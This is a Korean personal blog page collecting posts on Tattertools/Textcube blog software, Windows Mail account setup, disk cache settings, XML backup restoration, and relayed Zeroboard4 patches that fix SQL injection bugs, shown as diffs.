3)의 예는 현재는 카테고리 이름만으로 구별하는데, 만약 UTF-8 문자열을 구하기 어렵거나 한글에 애로사항이 생길 경우 내부 식별자인 숫자로도 지정할 수 있습니다. 내부 식별자를 알 수 있는 방법은 "관리자>글>분류관리" 메뉴에서 미리보기의 카테고리를 눌렀을 때 주소창에 다음과 같이 나옵니다.
http://blog.example.com/owner/entry/cat … =%ED%94%84


환경 설정 파일 관련 변경점 및 추가 안내
config.php에서 가능한 설정 값들은 doc/config 에서 확인할 수 있습니다.

* RSS 주소 기본값의 숫자 변경
RSS로 출력되는 주소값은 관리자 모드에서 결정한 값 (문자/숫자)을 따라갑니다. 설정에 관계없이 무조건 숫자로 출력하기 위해서는루트 디렉토리의 config.php에
     $service['useNumericURLonRSS'] = true;
를 추가하면 됩니다.

------------------------------------------------------------

텍스트큐브 alpha 5 테스트 페이지

http://xens.dnip.net:9996/test/tc

테터툴즈 1.1.3:transition 테스트 페이지

http://xens.dnip.net:9996/test/tt
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
윈도우 비스타에는 이전 버전들의 Outlook express 처럼 외부 메일함을 편리하게 사용할수 있는

Windows Mail이 있다. 메일서버는 POP3,SMTP로 크게 나눌수 있는데 POP3은 메일을 받는서버라

생각하면 되고 SMTP는 메일을 보내는 서버라고 간단히 생각하면 되겠다. 대부분의 메일서비스를

제공하는 사이트에서는 POP3서버는 외부확인이 가능하게 지원하지만 SMTP서버의 경우는 지원

하지 않는경우가 많고 네이버의 경우 '으뜸사용자'로 등급이 올라가면 메일->환경설정->POP3

/SMTP 설정 에서 신청을 할수 있다. 여기서는 나의 메일서버를 사용한 외부메일 확인방법을 알아

보겠다.

사용자 삽입 이미지

Windows Mail을 실행하고 도구->계정을 선택한다.

사용자 삽입 이미지
추가버튼을 누르면 전자메일계정/뉴스그룹계정/디렉터리 서비스를 선택할 화면이 나온다.

전자메일 계정을 선택하고 다음을 누르면 표시 이름 항목이 뜨는데 여기서 입력할 이름은 SMTP

서버를 사용해서 상대방에게 메일을 보낼때 메일주소 앞에 표시될 이름이다. 그다음은 전자메일

주소를 입력하게 되는데 이때 메일주소는 자신이 SMTP,POP3서버를 사용할 메일주소를 사용하면

된다. 여기서는 내메일주소인 postmaster@xens.dnip.net을 썼다.

사용자 삽입 이미지

이 다음은 받는 메일 서버(POP3), 보내는 메일서버(SMTP)을 설정해주게 되는데 Madpalace의

메일서버주소는 모두 xens.dnip.net 이다. 하지만 왠만한 큰 사이트에서는 POP3,SMTP서버를

분리해서 운영하는 경우가 많으며 예를 들어 네이버의 경우 POP3서버는 pop.naver.com

SMTP서버는 smtp.naver.com이다.

이다음은 메일로그온을 설정해 주게 되는데 본인이 쓰는 메일계정의 주소와 암호를 입력하면 된다.

사용자 삽입 이미지

모두끝마치면 처음의 도구->계정에서 속성을 누르면 설정값을 바꿔줄수가 있다.

테스트로 자신에게 메일을 보내보면 된다.


신고
크리에이티브 커먼즈 라이선스
Creative Commons License
'테터툴즈'가 '텍스트큐브'로 명칭이 바뀌면서 테터툴즈의 마지막 버전인 1.1.3 : Transition 테스트

 버전이 공개 되었습니다. 테스트 버전이라 아직 설치해보진 않았는데 아래는 테터툴즈 공지사항에

 있는 원문이며 몇가지 버그들이 수정되었습니다. 텍스트큐브는 현재까지 alpha 4 까지 공개된 상태

 이며 클로즈베타가 얼마 남지 않은듯 싶습니다. 개인적으로 텍스트 큐브가 공개될때 바라는점은

 가장중요한 테터툴즈 ↔ 텍스트큐브 간의 데이터 호환성입니다. 텍스트 큐브의 디렉토리 구조가

 테터툴즈와 다르기 때문에 그냥 덮어씌웠을 경우 문제가 생길수도 있고하니 XML파일 백업/복원

 기능이 완벽히 이뤄졌으면 하는 바램입니다.
------------------------------------------------------------------------

'태터툴즈'의 마지막 버전인 태터툴즈 1.1.3 : transition (가칭) 테스트 버전을 공개합니다.

태터툴즈 1.1.3은 텍스트큐브 1.5를 개발하면서 텍스트큐브에서 해결된 다수의 버그 수정들 및 약간의 개선점을 담고 있습니다.



다음의 버그들이 수정 되었습니다.
  * 아카이브 출력시 스킨의 index.xml 설정을 따라가지 않는 문제 수정. (#372)
  * 데이터 복원시 사이드바 플러그인의 존재 유무에 관계 없이 자동으로 로딩되는 문제 수정. (#242)
  * IE에서 첨부파일 다운로드후 캐시 폴더에서 바로 실행할 경우 cache-control 때문에 실행되지 않는 문제 수정. (#381)
  * 사이드바 설정 화면에서 사이드바 플러그인 처리시 사용하지 않는 핸들러로 인한 warning 발생 수정 (#382)
  * 피드 통계 플러그인 사용시 초기 데이터베이스를 잘못 만드는 오류 수정 (#385)
  * RSS 출력시 이미지 경로가 상대 경로로 출력되어 피드 구독기에 따라 이미지가 제대로 보이지 않을 수 있는 문제 수정 (#391)
  * Call-time pass-by-reference warning (#404)

또한 다음의 동작들이 변경 되었습니다.
  * 댓글 알리미 검색 결과를 최근 시간순으로 출력되도록 수정. (#409)
  * 속도 향상을 위하여 스팸 필터 비우기를 매 출력시 실행하지 않고 하루에 한 번만 휴지통을 비우도록 최적화. (#384)

참고사항
1.1.3을 사용하실 때 꼭 '플러그인' 메뉴의 '테이블 설정'에서 피드 통계 관련 플러그인을 삭제하신 후 피드 통계를 사용해 주시기 바랍니다.



태터툴즈 1.1.3은 optimizer를 사용하지 않은 채로만 발표될 예정입니다. 이후 텍스트큐브들도 모두 소스 버전으로만 발표될 예정입니다.

1.1.3 테스트 버전은 이 곳에서 내려 받으실 수 있습니다.
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
제로보드4의 패치가 또 나왔습니다. 수정된 부분이 아래 있으니 해당부분에 붙혀넣기 하여 수정

하시거나
http://nzeo.com 에서 패치파일을 받아 적용하시기바랍니다. 아래는 원문입니다.

---------------------------------------------


관리자 메일 발송 코드에서 $s_que 변수를 이용한 SQL Injection을 일으킬 수 있는 코드가 발견되어 패치합니다.

첨부된 admin_sendmail_ok.zip 파일의 압축을 풀면 나오는 admin_sendmail_ok.php파일을 사용하시는 제로보드4의 디렉토리에 덮어쓰시면 됩니다.

수정된 부분은 다음과 같습니다.

= admin_sendmail_ok.php ===============================================================

@@ -28,16 +28,18 @@
        if(!$true) $true = 0;
        if(!$nomailing) $nomailing = 0;
        if(!$sendnum) $sendnum = 100;
+    $group_no = (int)$group_no;
+    $s_que = '';
        if(!$total_member_num) {
                $temp=mysql_fetch_array(mysql_query("select count(*) from $member_table where group_no='$group_no'",$connect));
                $total_member_num=$temp[0];
        }

        if($cart) {
-               $temp=explode("||",$cart);
-               $s_que=" and ( no='$temp[1]' ";
-               for($i=2;$i<count($temp);$i++) $s_que.=" or no='$temp[$i]' ";
-               $s_que.=" )";
+               $temp = explode("||",$cart);
+        for($i=0;$i<count($temp);$i++) $target_srls[] = (int)$temp[$i];
+        $s_que = sprintf(' and ( no in (%s) )', "'".implode("','", $target_srls)."'");
        } else {


===============================================================================

위에서 - 가 붙은 줄은 삭제된 것을 의미하며 +가 붙은 줄은 추가된 것을 의미합니다.

이 보안버그를 알려주신 달팽이 (ID : mirr1004)님께 감사의 말씀 드립니다.


혹시 이 패치 적용후 메일 발송에 문제가 생기거나 보안 버그가 지속적으로 발견되면 꼭 알려주시면 감사하겠습니다.
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
사용자 삽입 이미지

내컴퓨터->해당드라이브(C나 D등.. 하드디스크드라이브)->오른쪽 마우스 클릭-> 속성 ->하드웨어

까지 연다음 정책에서 '고급성능 사용','디스크에 쓰기캐시 사용' 부분에 모두 체크 해준다.

전원 중단시 데이터 손실,손상이 올수 있다는 겁주는 메시지는 일반 사용자는 무시해도 상관없다.

백업전원공급장치를 일반사용자가 사용할 일이 없기 때문이다. 이렇게 설정해주면 체감속도가

약간 빨라진다. 일부 S-ATA,SCSI 형식의 하드디스크는 고급성능 사용 옵션이 없을수 있다.



신고
크리에이티브 커먼즈 라이선스
Creative Commons License
테터툴즈가 업그레이드 되거나 했을때 여러가지 방법으로 기존데이터를 백업/복구 시킬수 있지만

개인적으론 테터툴즈 관리자 메뉴에 있는 가장 간편한 첨부파일 포함 XML파일로 저장하는것을

좋아한다. 근데 개인웹서버 사용자의 경우 큰 용량의 XML파일을 로컬에서 부르면 제대로 백업이

안되는 경우가 생긴다. 테터툴즈 홈페이지의 묻고 답하기 게시판을 보면 Berryz webshare라는

프로그램 으로 복원을 정상적으로 할수 있다고 하는데 직접 해보았다.

http://berryz.upnl.org/main.php/
 -> 베리즈 웹쉐어 홈페이지

베리즈 웹쉐어는 웹폴더 서버 생성프로그램인데 사용법도 너무나 쉽다. 실행시키고 공유폴더나

파일만 추가 시키고 브라우저에서 자기컴퓨터의 주소나 IP만 입력해주면 된다. 물론 공유기를

사용중이거나 기타 이유로 웹서버 기본포트인 80번을 이용하지 못한다면 공유기는 각자가 쓰는

기기에 맞게 DMZ설정을 해줘야 할것이고 통신사에서 막았다면 9999나 9998 ..8080등의 포트번호

를 써주면 된다.

그리고 테터툴즈의 관리자->환경설정->데이터 관리를 눌러 아래와 같이 써준다.

사용자 삽입 이미지

물론 XML파일을 베리즈 웹쉐어에 공유추가 시켜주면 된다. 그리고 복원하기를 눌러주면 제대로

복원이 된다. 내경우엔 Vmware내에서 각종 실험용으로 쓰이는 웹서버에 시험해봤는데 그냥 로컬

파일로 불러왔을때는 40Mb정도의 XML파일 복원에 실패했고 베리즈 웹쉐어를 호스트 컴퓨터에서

돌리고 VMware 에서 복구시켰을때 성공했다. 티스토리또한 마찬가지 였다. 다만 지금 알파버전인

텍스트큐브의 경우는 데이터 구조가 틀린탓인지 이전버전과 XML호환이 된다고 알고있었는데

복구가 되지 않았다. 어쨋든 테터툴즈 사이에는 그런문제는 없었고 구/신버전간의 복원 문제도

없었다. 대용량XML파일로 복원이 안되고 있다면 한번 사용해보는게 좋겠다.
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
1. 제로보드4 pl8 패치 및 제로보드 XE 새소식

제로보드4 pl8 의 보안패치가 새로 배포되었습니다. 원문에 따르면 download.php 의 sql injection

문제에 대한 수정과 lib.php에 대한 수정이 있다고 합니다. 댓글의 DearMai 님의 글에

lib.php 파일에 39번~41번줄까지 아래의 내용이 추가되었다고 하니 기존의 쓰던파일을 수정해서

쓰고계신분들은 따로 수정하시면 되겠습니다.

40a39,41
> unset($s_que);
> $select_arrange = str_replace(array("'",'"','\\'),'',$select_arrange);
> if(!in_array($desc,array('desc','asc'))) unset($desc);

나머지 부분은 추가로 어느부분이 수정된지는 자세히 모르겠고 전체적인 패치된 파일의 목록은

아래와 같습니다.

image_box.php
member_join_ok.php
member_modify_ok.php
login_check.php
lib.php
member_memo.php
member_memo2.php
member_modify_ok.php
license.txt

http://www.nzeo.com 에서 패치파일을 다운로드 하실수 있고 자세한 패치내용도 확인하실수

있습니다.

제로보드 5가 개발자분의 개인적사정으로 잠정적인 업데이트 중단이 된데에 이어서 NHN의 협조로

오픈프로젝트인 제로보드 XE가 개발중에 있습니다. 원문에서는 6월말이 넘어서나 클로즈베타

테스트를 행할것 같다고 합니다. 개인적으로 제로보드 4를 상당히 유용하게 써봐서 오픈프로젝트

인 이 제로보드 XE에 상당한 관심이 갑니다. 다만 이왕나오는것 UTF-8 버전과 EUC-KR 버전이

함께 나왔으면 하는 바램입니다.

2. 텍스트큐브의 소식
 기존의 테터툴즈의 1.1.2.x 버전에서 1.5의 버전을 가지고 나올 텍스트큐브가 개발중에 있습니다.
사용자 삽입 이미지

공지 원문에 따르면 아래와 같이 설명하는데 테터툴즈라는 블로그 쓰는데에만 관심있다보니

아래같은 내용이 뭘 뜻하는지는 자세히 모르겠습니다.

기존의 설치형 블로그인 태터툴즈의 경우, needlworks에서 설치형 프로그램 코어(프로젝트 S2)의 설계및 제작을 전담합니다. 프로젝트 S2의 정식 명칭이 Textcube로 결정되었습니다.

한 줄 요약 : TNC/TNF 태터툴즈 -> Needlworks/TNF 텍스트큐브

다만 버전이 갑자기 높아짐에 따라 사용자 들의 혼란이 약간 있을듯 합니다. 디렉토리들의 구조가

많이 바뀌어서 기존에 사용하던 테터툴즈의 (blog, style, doc, component, script, lib) 디렉토리를

삭제후 textcube를 설치할것을 권장하고 있는데 현재 텍스트큐브 알파버전의 디렉토리 구조는

다음과 같습니다.

사용자 삽입 이미지

원문내용대로 기존의 테터툴즈 블로그의 위에 써놓은 폴더들을 삭제하고 텍스트큐브를 덮어씌워

봤는데 이상없이 작동합니다. 지금 vmware에서 사용하는 APM이 테스트용이라 기존 테터툴즈

블로그의 글이 한개도 없어서 이상이 없는지는 모르겠습니다만 불안하다면 기존의 테터툴즈의

데이터를 XML로 첨부파일과 함께 모두 백업하여 텍스트큐브에 저장하여도 호환성이 유지된다고

하니 텍스트큐브가 정식 런칭 된 후에는 이방법을 쓰는것이 제일 깔끔할듯 싶습니다.

대신 플러그인의 경우는 공식플러그인이 아닌경우엔 기존에 쓰던 플러그인에서 몇가지 에러가

발생할수도 있겠다는 생각이 듭니다. 그리고 백업한 파일의 크기가 클경우 복원이 안될경우가

있으니 필히 원래의 데이터를 XML저장이 아닌 전체백업을 해두는것이 좋습니다.

주의! : 글작성후 텍스트큐브에 제가쓰는 테터툴즈 1.1.2.2 의 데이터를 import 시켜봤

습니다. 결과는 복구가 안됐습니다. 테터툴즈 끼리는 구,신버전간 복구가 잘됐고 티스토리

에서도 복구가 잘됐습니다. 지원하지 않는 데이터라고 표시된후 복구가 되지 않는군요..
신고


티스토리 툴바